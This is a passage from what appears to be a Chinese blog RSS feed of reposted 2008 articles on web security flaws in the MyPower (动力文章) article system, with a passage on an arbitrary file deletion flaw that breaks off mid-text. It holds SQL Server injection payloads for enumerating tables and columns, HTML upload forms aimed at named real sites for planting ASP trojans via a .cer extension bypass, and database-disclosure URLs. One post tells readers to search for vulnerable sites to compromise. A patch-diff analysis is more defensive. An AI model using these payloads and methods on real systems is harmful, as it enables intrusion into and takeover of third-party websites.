/>下面是转别人的SQL注入必殺技成功條件：<br />&#123;&#123;&#123;<br />1.找到注入點<br />2.數據庫為SQLSERVER<br />3.IIS沒屏蔽錯誤提示</span></p><p><span class="b1">注：因必殺技是我研究N久的心得，經多次改良，成功率極高。請不要用於不合法用途上，否則後果自負。</span></p><p><span class="b1">[N] = 第N個表<br />ID=1 and (Select top 1 name from(Select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)&gt;1</span></p><span class="b1">[T] = 表名<br />[N] = 第N個字段<br />ID=1 and (Select Top 1 col_name(object_id('[T]'),[N]) from sysobjects)&gt;1<br />&#125;&#125;&#125; </span><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1751</link>
<title><![CDATA[转帖：根据补丁文件分析的动力文章系统2005的漏洞]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Thu, 27 Mar 2008 17:28:16 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1751</guid> 
<description>
<![CDATA[ 
	<p><span style="font-size: small">漏洞级别：严重<br /><br />解决方案：（临时）<br /><br />一、用提供的补丁包中的两个文件替换系统中的文件。<br /><br />二、开启后台管理验证码：Admin_ChkCode.asp文件中将EnableSiteManageCode设置为True，并修改SiteManageCode的默认值。<br /><br />三、最好可以开启前台用户操作部分的审核功能，比如文集的审核等。<br /><br />四、注意检查系统管理员中是否有非法的管理员帐号。<br /><br /><br />//*********************** 原文件删除函数 *********************<br />Sub Del()<br />Dim AuthorID<br />AuthorID = Trim(Request(&quot;AuthorID&quot;))<br />If AuthorID = &quot;&quot; Then //非空判断<br />FoundErr = True<br />ErrMsg = ErrMsg &amp; &quot;&lt;li&gt;请先选定作品集！&lt;/li&gt;&quot;<br />Exit Sub<br />End If<br />If InStr(AuthorID, &quot;,&quot;) &gt; 0 Then //,扫描<br />AuthorID = ReplaceBadChar(AuthorID) //存在则调用ReplaceBadChar函数<br />Conn.Execute (&quot;delete from PE_Author where ID in (&quot; &amp; AuthorID &amp; &quot;)&quot;) //执行删除<br />Else<br />AuthorID = CLng(AuthorID) //否则调用clng强制整型转换<br />Conn.Execute (&quot;delete from PE_Author where ID=&quot; &amp; AuthorID &amp; &quot;&quot;)<br />End If<br />Call CloseConn<br />Response.Redirect ComeUrl<br />End Sub<br /><br />//********************* 补丁文件删除函数 ***********************<br />Sub Del()<br />Dim AuthorID<br />AuthorID = Trim(Request(&quot;AuthorID&quot;))<br />If AuthorID = &quot;&quot; Then<br />FoundErr = True<br />ErrMsg = ErrMsg &amp; &quot;&lt;li&gt;请先选定作品集！&lt;/li&gt;&quot;<br />Exit Sub<br />End If<br />If InStr(AuthorID, &quot;,&quot;) &gt; 0 Then<br />If IsValidID(AuthorID) = False Then //多了一个IsValidID函数判断，此函数下附<br />FoundErr = True<br />ErrMsg = ErrMsg &amp; &quot;&lt;li&gt;请指定要删除的作品集ID！&lt;/li&gt;&quot;<br />Exit Sub<br />End If<br />Conn.Execute (&quot;delete from PE_Author where ID in (&quot; &amp; AuthorID &amp; &quot;)&quot;)<br />Else<br />AuthorID = CLng(AuthorID)<br />Conn.Execute (&quot;delete from PE_Author where ID=&quot; &amp; AuthorID &amp; &quot;&quot;)<br />End If<br />Call CloseConn<br />Response.Redirect ComeUrl<br />End Sub<br /><br />//****** 原文件ReplaceBadChar函数 过滤(' % ^ &amp; ? ( ) &lt; &gt; [ ] &#123; &#125; / &#92; ; : &quot; &#92;0)*******<br /><br />'函数名：ReplaceBadChar<br />'作 用：过滤(' % ^ &amp; ? ( ) &lt; &gt; [ ] &#123; &#125; / &#92; ; : &quot; &#92;0)<br />'参 数：strChar-----要过滤的字符<br />'返回值：过滤后的字符<br /><br />Function ReplaceBadChar(strChar)<br />If strChar = &quot;&quot; Or IsNull(strChar) Then<br />ReplaceBadChar = &quot;&quot;<br />Exit Function<br />End If<br />Dim strBadChar, arrBadChar, tempChar, i<br />strBadChar = &quot;',%,^,&amp;,?,(,),&lt;,&gt;,[,],&#123;,&#125;,/,&#92;,;,:,&quot; &amp; Chr(34) &amp; &quot;,&quot; &amp; Chr(0) &amp; &quot;&quot;<br />arrBadChar = Split(strBadChar, &quot;,&quot;) <br />tempChar = strChar<br />For i = 0 To UBound(arrBadChar)<br />tempChar = Replace(tempChar, arrBadChar(i), &quot;&quot;)<br />Next<br />ReplaceBadChar = tempChar<br />End Function<br /><br />Function PE_CLng(ByVal str1)<br />If IsNumeric(str1) Then<br />PE_CLng = CLng(str1)<br />Else<br />PE_CLng = 0<br />End If<br />End Function<br /><br />Function PE_CDbl(ByVal str1)<br />If IsNumeric(str1) Then<br />PE_CDbl = CDbl(str1)<br />Else<br />PE_CDbl = 0<br />End If<br />End Function<br /><br />//**** 补丁文件ReplaceBadChar函数 过滤(' % ^ &amp; ? ( ) &lt; &gt; [ ] &#123; &#125; / &#92; ; : &quot; &#92;0)*******<br /><br />'函数名：ReplaceBadChar<br />'作 用：过滤(' % ^ &amp; ? ( ) &lt; &gt; [ ] &#123; &#125; / &#92; ; : &quot; &#92;0 + --) 增加@对@@的替换<br />'参 数：strChar-----要过滤的字符<br />'返回值：过滤后的字符<br /><br />Function ReplaceBadChar(strChar)<br />If strChar = &quot;&quot; Or IsNull(strChar) Then<br />ReplaceBadChar = &quot;&quot;<br />Exit Function<br />End If<br />Dim strBadChar, arrBadChar, tempChar, i<br />strBadChar = &quot;+,',--,%,^,&amp;,?,(,),&lt;,&gt;,[,],&#123;,&#125;,/,&#92;,;,:,&quot; &amp; Chr(34) &amp; &quot;,&quot; &amp; Chr(0) &amp; &quot;&quot;<br />arrBadChar = Split(strBadChar, &quot;,&quot;)<br />tempChar = strChar<br />For i = 0 To UBound(arrBadChar)<br />tempChar = Replace(tempChar, arrBadChar(i), &quot;&quot;)<br />Next<br />tempChar = Replace(tempChar, &quot;@@&quot;, &quot;@&quot;) <br />ReplaceBadChar = tempChar<br />End Function<br /><br />Function PE_CLng(ByVal str1)<br />If IsNumeric(str1) Then<br />PE_CLng = CLng(str1)<br />Else<br />PE_CLng = 0<br />End If<br />End Function<br /><br />Function PE_CDbl(ByVal str1)<br />If IsNumeric(str1) Then<br />PE_CDbl = CDbl(str1)<br />Else<br />PE_CDbl = 0<br />End If<br />End Function<br /><br />//************** 补丁增加的IsValidID函数 *******************<br /><br />Function IsValidID(Check_ID)<br />Dim FixID, i<br />If IsNull(Check_ID) Or Check_ID = &quot;&quot; Then<br />IsValidID = False<br />Exit Function<br />End If<br />FixID = Replace(Check_ID, &quot;&#124;&quot;, &quot;&quot;)<br />FixID = Replace(FixID, &quot;,&quot;, &quot;&quot;)<br />FixID = Trim(Replace(FixID, &quot; &quot;, &quot;&quot;))<br />If FixID = &quot;&quot; Or IsNull(FixID) Then<br />IsValidID = False<br />Else<br />For i = 1 To Len(FixID) Step 100<br />If Not IsNumeric(Mid(FixID, i, 100)) Then<br />IsValidID = False<br />Exit Function<br />End If<br />Next<br />IsValidID = True<br />End If<br />End Function<br /><br /><!--yes-->............</span></p><span style="font-size: small">document.write("本文来自各大互联网博客RSS输出摘录，版权归原作者所有！<br/>文章信息如下：<br/>引用RSS源博文网址：<a xhref=http://computer.mblogger.cn/whytt/posts/60215.aspx target=_blank>http://computer.mblogger.cn/whytt/posts/60215.aspx</a>")本文来自各大互联网博客RSS输出摘录，版权归原作者所有！</span><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1750</link>
<title><![CDATA[转帖：动力文章漏洞资料库]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Thu, 27 Mar 2008 17:25:35 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1750</guid> 
<description>
<![CDATA[ 
	1.上传漏洞<br /><br /><br /><br />攻击方法:<br /><br /><br /><br />先在本地构造一个1.html<br /><br /><br /><br />&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&gt;<br />&lt;!-- saved from url=(0055)http://www.xxgcn.net/body/upload_Photo.asp?PhotoUrlID=0 --&gt;<br />&lt;HTML&gt;&lt;HEAD&gt;<br />&lt;META http-equiv=Content-Type content=&quot;text/html; charset=gb2312&quot;&gt;<br />&lt;STYLE type=text/css&gt;BODY &#123;<br />FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee<br />&#125;<br />.tx1 &#123;<br />BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px<br />&#125;<br />&lt;/STYLE&gt;<br /><br /><br /><br />&lt;META content=&quot;MSHTML 6.00.2800.1400&quot; name=GENERATOR&gt;&lt;/HEAD&gt;<br />&lt;BODY leftMargin=0 topMargin=0&gt;<br />&lt;FORM name=form1 action=&quot;http://www.infoedu.cn/Upfile_Soft.asp&quot; method=post<br />encType=multipart/form-data&gt;&lt;INPUT class=tx1 type=file size=30 name=FileName&gt; &lt;INPUT class=tx1 type=file size=30 name=FileName1&gt; &lt;INPUT style=&quot;BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal&quot; type=submit value=上传 name=Submit&gt;<br />&lt;INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID&gt; &lt;/FORM&gt;&lt;/BODY&gt;&lt;/HTML&gt;<br /><br /><br /><br /><br />也就是上面的代码,把他们保存为1.html,然后, http://www.infoedu.cnp 这个东东要把他改成你要入侵的网站接着保存,<br /><br /><br /><br />接下来还要两个文件,一个是1.rar,你随便弄一个,还有一个是newmm.asp,把newmm.asp你把他的扩展名改为newmm.cer,然后点 1.html,在第一个上传区选1.rar,第二个选newmm.cer,然后点上传上传成功后查找源文件就可以找出路径填上后就可以写入其它的东东.<br /><br />2.暴库:<br /><br />http://57766.com/Article_Show.asp?ArticleID=221 我以这个网站为例吧,你只要把后面的改为<br /><br />http://57766.com/inc/conn.asp&nbsp;&nbsp; 这样就可以暴出管理员的数据库地址,原理是调用数据库文件出错,而暴出.<br /><br />http://57766.com/inc/conn_user.asp&nbsp;&nbsp; 这样就可以暴出其它用户的数据的路径了再接着就是下载了.<br /><br />动画<br /><br />动力文章还存在注入漏洞,如<br /><br /><br /><br /><br />http://www.qgyz.net/Article_Print.asp?ArticleID=193<br /><br /><br /><br /><br />本来是http://www.qgyz.net/Article_Show.asp?ArticleID=193<br /><br /><br /><br /><br />用nb在特征码里输入id,就可以猜了.<br /><br /><br />要强调的 一点是 首先 一定 要注册一个 帐号<br /><br />然后 用申请的帐号 进去<br /><br />一定 一定 别忘了 保存 cookie!!!!<br /><br />否则 不会 成功！！！<br /><br />大家 用baidu 或者 google搜索 MyPower3.51<br /><br />可以 找到很多 很多这样鸡<br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1749</link>
<title><![CDATA[转帖：公开动力文章系统漏洞的相关文章]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Thu, 27 Mar 2008 17:23:44 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1749</guid> 
<description>
<![CDATA[ 
	<p>一．概述<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;My动力文章管理系统是由asp163.net开发的一套文章管理系统，最近由于要做个网站就对他的代码研究了一 下，呵呵，虽然webboy对My动力做了不少安全措施，防止了可能的sqlinjection攻击，但这样似乎给人一种非常安全的错觉，我们一起来分析 一下吧。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我们先到网站上面注册一个用户，进入用户的文章管理看看,可以添加软件，添加图片&hellip;&hellip;,看看可以上传东西吧，但是My动 力文件管理系统似乎限制只允许已定义的文件后缀上传，如软件只允许rar&#124;zip&#124;exe&#124;mpg&#124;rm&#124;wav&#124;mid格式，有没有办法突破呢？<br />二．漏洞详细分析过程<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;其实仔细研究一下是发现有可能上传ASP文件的！大家看Upfile_Soft.asp的这一段代码（其他用于上传的文件类似）：<br />const&nbsp;UpFileType=&quot;rar&#124;zip&#124;exe&#124;mpg&#124;rm&#124;wav&#124;mid&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'定义了可以上传的文件类型<br />...<br />dim&nbsp;EnableUpload&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'定义了是否允许上传的关键变量<br />...<br />FoundErr=false&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'默认FoundErr变量为假，即没有发现错误（哈哈，关键变量哦，看下面）<br />EnableUpload=false&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'默认EnableUpload变量为假，即不能上传（哈哈，关键变量哦）<br />...<br />for&nbsp;each&nbsp;formName&nbsp;in&nbsp;upload.file'列出所有上传了的文件（！关键，注意这个FOR循环！）<br />set&nbsp;ofile=upload.file(formName)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'生成一个文件对象<br />...<br />arrUpFileType=split(UpFileType,&quot;&#124;&quot;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'取得定义的可以上传的后缀名&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />for&nbsp;i=0&nbsp;to&nbsp;ubound(arrUpFileType)<br />if&nbsp;fileEXT=trim(arrUpFileType(i))&nbsp;then<br />EnableUpload=true&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'hoho，EnableUpload变量改变了！<br />exit&nbsp;for<br />end&nbsp;if<br />next<br />if&nbsp;fileEXT=&quot;asp&quot;&nbsp;or&nbsp;fileEXT=&quot;asa&quot;&nbsp;or&nbsp;fileEXT=&quot;aspx&quot;&nbsp;then&nbsp;'呵呵，只要是ASP，ASA，ASPX的后缀就废掉了，难怪海洋顶端上不去阿！<br />EnableUpload=false<br />end&nbsp;if<br />if&nbsp;EnableUpload=false&nbsp;then<br />msg=&quot;这种文件类型不允许上传！&#92;n&#92;n只允许上传这几种文件类型：&quot;&nbsp;&amp;&nbsp;UpFileType<br />FoundErr=true&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'hoho，FoundErr变量改变了！<br />end&nbsp;if<br />...<br />if&nbsp;FoundErr&lt;&gt;true&nbsp;then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'又是一个重要地方，看来FoundErr变量是能否上传的关键，那如何决定FoundErr变量呢？(草草虫ps:偶可以瞪大了眼睛看啊)<br />randomize<br />ranNum =int(900*rnd)+100&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'生成一个随机数&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;filename=SavePath&amp; year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second (now)&amp;ranNum&amp;&quot;.&quot;&amp;fileExt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'没有改变上传文件的后缀，爽阿<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ofile.SaveToFile&nbsp;Server.mappath(FileName)&nbsp;&nbsp;&nbsp;'保存文件<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write&nbsp;&quot;软件上传成功！软件大小为：&quot;&nbsp;&amp;&nbsp;cstr(round(oFileSize/1024))&nbsp;&amp;&nbsp;&quot;K&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS =strJS&nbsp;&amp;&nbsp;&quot;parent.document.myform.DownloadUrl1.value='&quot;&nbsp;&amp;&nbsp;fileName&nbsp;&amp; &nbsp;&quot;';&quot;&nbsp;&amp;&nbsp;vbcrlf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'晕拉~还返回上传后改的名字，这回好了，不用猜了。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS=strJS&nbsp;&amp;&nbsp;&quot;parent.document.myform.SoftSize.value='&quot;&nbsp;&amp;&nbsp;cstr(round(oFileSize/1024))&nbsp;&amp;&nbsp;&quot;';&quot;&nbsp;&amp;&nbsp;vbcrlf<br />&nbsp;&nbsp;&nbsp;&nbsp;注：...表示省略了部分代码<br />&nbsp;&nbsp;&nbsp;&nbsp; 大家研究一下这段代码会发现，My动力使用了化境无组件上传类来上传，而化境的无组件上传类可以上传多个文件， for&nbsp;each&nbsp;formName&nbsp;in&nbsp;upload.file这一句就是用于取得所有form中取得的文件名。第二个for循环for&nbsp;i= 0&nbsp;to&nbsp;ubound(arrUpFileType)用于检测文件类型，如果不满足条件则关键变量EnableUpload为默认值false，而 EnableUpload为默认值false时又导致关键变量FoundErr值得改变为true，我们的目的就是想办法避免FoundErr值的改变， 让他保持默认值false，我们注意到if&nbsp;fileEXT=trim(arrUpFileType(i))&nbsp;then这一句如果满足条件则 EnableUpload为真，那么当有多个文件用于上传时，作者考虑到了么？显然是没有的，虽然各上传界面的都是只有一个上传提交框，但我们可以在本地 自己构造阿~，如下图：<br /></p> 上传的附件<br />&nbsp;&nbsp; <a href="http://www.xxju.net/Article/UploadFiles/200405/20040518045348281.jpg" target="_blank">20045172219674.jpg</a> [ <span style="color: blue">99.56</span> KByte <span style="color: blue">1024</span>&times;<span style="color: blue">768</span> ] <span style="color: #999999">(缩略时请点击查看原图)</span>&nbsp; &nbsp;<br />这 样我们改变action到远程地址，提交两个文件的话，在asp文件中，第一个for循环检查第一个文件sql2reg.gif，第2个for循环检查文 件后缀gif，显然满足条件因此可以上传EnableUpload=true，然后逐步跳过各语句，由于默认FoundErr=false，文件上传了！ 然后第一个for循环检查文件2：sqlexec.cer文件，第二个for循环发现不满足<br />文件后缀条件，跳过，我的文件不是asp等后缀，再跳过if语句，呵呵，EnableUpload变量保持为第一次循环的true值，这样保证了FoundErr也没改变，哈哈哈哈，木马上传成功！！！<br />&nbsp;&nbsp;&nbsp;&nbsp;这里用了一个小技巧，大家肯定发现了，我的asp木马没用asp后缀，是因为程序作了限制，但是限制的不全，因为iis中调用asp文件的是asp.dll，asp.dll的应用程序映射还包括.cdx和.cerok拉，我们的.cer后缀一样可以运行。<br />三．小结Exploits&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp; 再总结一下发现过程，我们倒推一下，FoundErr变量决定能否上传而且只要保持默认值就可以上传，但EnableUpload变量决定了 FoundErr的改变，只要能改变EnableUpload变量的默认值false就好了即要EnableUpload=true这一句执行，呵呵<br />看 看怎样能改变EnableUpload的默认值，只有当fileEXT=trim(arrUpFileType(i))即文件后缀名满足条件，在第一个 for循环中如果改变EnableUpload值的话，第二次循环中EnableUpload值也就会保持下来，从而FoundErr也保持为 false。<br />四．攻击测试<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;攻击方法，自己建立一个用户上传的叶面，如<br />&lt;html&gt;&lt;body&gt;<br />&lt;form&nbsp;action=&quot;<a href="http://127.0.0.1:1234/Upfile_Soft.asp%22" target="_blank">http://127.0.0.1:1234/Upfile_Soft.asp&quot;</a>;&nbsp;method=&quot;post&quot;&nbsp;name=&quot;form1&quot;&nbsp;onSubmit=&quot;return&nbsp;check()&quot;&nbsp;enctype=&quot;multipart/form-data&quot;&gt;<br />&nbsp;&nbsp;&lt;input&nbsp;name=&quot;FileName1&quot;&nbsp;type=&quot;FILE&quot;&nbsp;class=&quot;tx1&quot;&nbsp;size=&quot;40&quot;&gt;<br />&nbsp;&nbsp;&lt;input&nbsp;name=&quot;FileName&quot;&nbsp;type=&quot;FILE&quot;&nbsp;class=&quot;tx1&quot;&nbsp;size=&quot;40&quot;&gt;<br />&nbsp;&nbsp;&lt;input&nbsp;type=&quot;submit&quot;&nbsp;name=&quot;Submit&quot;&nbsp;value=&quot;上传&quot;&nbsp;style=&quot;border:1px&nbsp;double&nbsp;rgb(88,88,88);font:9pt&quot;&gt;<br />&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;&nbsp;&nbsp;<p>休&nbsp;&nbsp;闲 居&nbsp;&nbsp;&nbsp;&nbsp;编&nbsp;&nbsp; 辑</p>&nbsp;&nbsp;上传的附件<br />&nbsp;&nbsp; <a href="http://www.xxju.net/Article/UploadFiles/200405/20040518045349667.jpg" target="_blank">200451722191574.jpg</a> [ <span style="color: blue">142.50</span> KByte <span style="color: blue">1024</span>&times;<span style="color: blue">768</span> ] <span style="color: #999999">(缩略时请点击查看原图)</span><br />&nbsp; &nbsp;<br />上传结束，game&nbsp;over~。我们的动力，我的肉鸡&hellip;&hellip;&nbsp;&nbsp; <p><br />其它附图:<br /></p> 上传的附件<br />&nbsp;&nbsp; <a href="http://www.xxju.net/Article/UploadFiles/200405/20040518045349904.jpg" target="_blank">200451722192274.jpg</a> [ <span style="color: blue">123.14</span> KByte <span style="color: blue">1024</span>&times;<span style="color: blue">768</span> ] <span style="color: #999999">(缩略时请点击查看原图)</span><br /><br />&nbsp; <br /><br />&nbsp;&nbsp;上传的附件<br />&nbsp;&nbsp; <a href="http://www.xxju.net/Article/UploadFiles/200405/20040518045349298.jpg" target="_blank">200451722192874.jpg</a> [ <span style="color: blue">143.67</span> KByte <span style="color: blue">1024</span>&times;<span style="color: blue">768</span> ] <span style="color: #999999">(缩略时请点击查看原图)</span><br /><br />&nbsp; <br /><br />&nbsp;&nbsp;上传的附件<br />&nbsp;&nbsp; <a href="http://www.xxju.net/Article/UploadFiles/200405/20040518045350446.jpg" target="_blank">200451722193574.jpg</a> [ <span style="color: blue">145.02</span> KByte <span style="color: blue">1024</span>&times;<span style="color: blue">768</span> ] <span style="color: #999999">(缩略时请点击查看原图)</span><br /><br />&nbsp; <br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1748</link>
<title><![CDATA[转贴：动力文章上传漏洞的本地利用]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Thu, 27 Mar 2008 17:21:18 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1748</guid> 
<description>
<![CDATA[ 
	动力文章上传漏洞的本地利用<br /><br />最近盛行动力文章上传漏洞，不少网站纷纷关闭了上传功能，但一些网站并没有删除上传文件：upfile_soft.asp<br /><br />这就给本地利用创造了机会，我们可以在本地构造一个上传页面，将上传地址直接指向网站的upfile_soft.asp文件。<br /><br />构造的本地upfile.htm源程序如下：<br /><br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;<br />&lt;style type=&quot;text/css&quot;&gt;<br />&lt;!--<br />BODY&#123;<br />BACKGROUND-COLOR: #E1F4EE;<br />font-size:9pt<br />&#125;<br />.tx1 &#123; height: 20px;font-size: 9pt; border: 1px solid; border-color: #000000; color: #0000FF&#125;<br />--&gt;<br />&lt;/style&gt;<br /><br />&lt;/head&gt;<br />&lt;body leftmargin=&quot;0&quot; topmargin=&quot;0&quot;&gt;<br />&lt;form action=&quot; http://www.xxx.com/upfile_soft.asp &quot; method=&quot;post&quot; name=&quot;form1&quot; enctype=&quot;multipart/form-data&quot;&gt;<br />&lt;input name=&quot;FileName&quot; type=&quot;FILE&quot; class=&quot;tx1&quot; size=&quot;40&quot;&gt;<br />&lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;上传&quot; style=&quot;border:1px double rgb(88,88,88);font:9pt&quot;&gt;<br />&lt;/form&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br /><br />修改代码中相应的页面地址我们就可以重新进行上传抓包，继而上传我们的马儿！<br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1747</link>
<title><![CDATA[转帖：动力文章系统任意文件删除漏洞曝光]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Thu, 27 Mar 2008 16:53:06 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1747</guid> 
<description>
<![CDATA[ 
	<p>因为自己的网站连续被人恶意侵入了两次，从IIS的日志看出都是&ldquo;脚本注入&rdquo;惹的祸，这才开始关注脚本安全起来。前几天朋友让我检测一下他网站的安全情况，于是就试试身手，结果居然发现了关于动力文章系统的安全漏洞。&nbsp;&nbsp;</p><p>&nbsp;</p><p><strong>发现漏洞</strong>&nbsp;&nbsp;</p><p>&nbsp;</p><p>朋友使用的是动力文章系统3.51版，找来找去也没有发现有哪个地方存在&ldquo;注入点&rdquo;，以前发现的打印页面的注入漏洞也被补上了，因为打了最 新的安全补丁，也就不存在上传扩展名为CER类的ASP木马的可能了。说实在的，我是很佩服Webboy的水平，同样是教师，我就没办法写出这样优秀的网 站管理系统，呵呵。 </p><p>&nbsp;</p><p>找不到注入点，就只能去找找有没有逻辑错误了。无法上传文件就试着下载文件，无法获取管理权，就试试去删除文件。我在本机上安装了同样版本动力文章系统，思路换了好几个方向，还好，发现漏洞了。存在问题的文件是User_ArticleSave.asp。&nbsp;&nbsp;</p><p>&nbsp;</p><p>1．分析：动力文章系统有个很好的功能，在线编辑文章时可以上传文件（图片），插入文件（图片），在保存文章时，系统将检测那些已经上传的 文件是否使用，如果发现某一文件名并没有出现在文章内容中，也没有被设为首页图片，就自动删除文件。这样能够保证网站的Uploadfiles目录中不会 存在垃圾文件。这些文件名就存放在Uploadfiles这个隐藏的对象中。 </p><p>&nbsp;</p><p>2．疑问：如果我们手工在Uploadfiles中填入网站内某一重要的文件名，如：首页文件&ldquo;/Index.asp&rdquo;（使用相对网站根目 录的绝对路径），递交表单时，系统检测到&ldquo;/Index.asp&rdquo; 并没有出现在文章内容中，也没有被设为首页图片，岂不是也会自动删除Index.asp文件？ 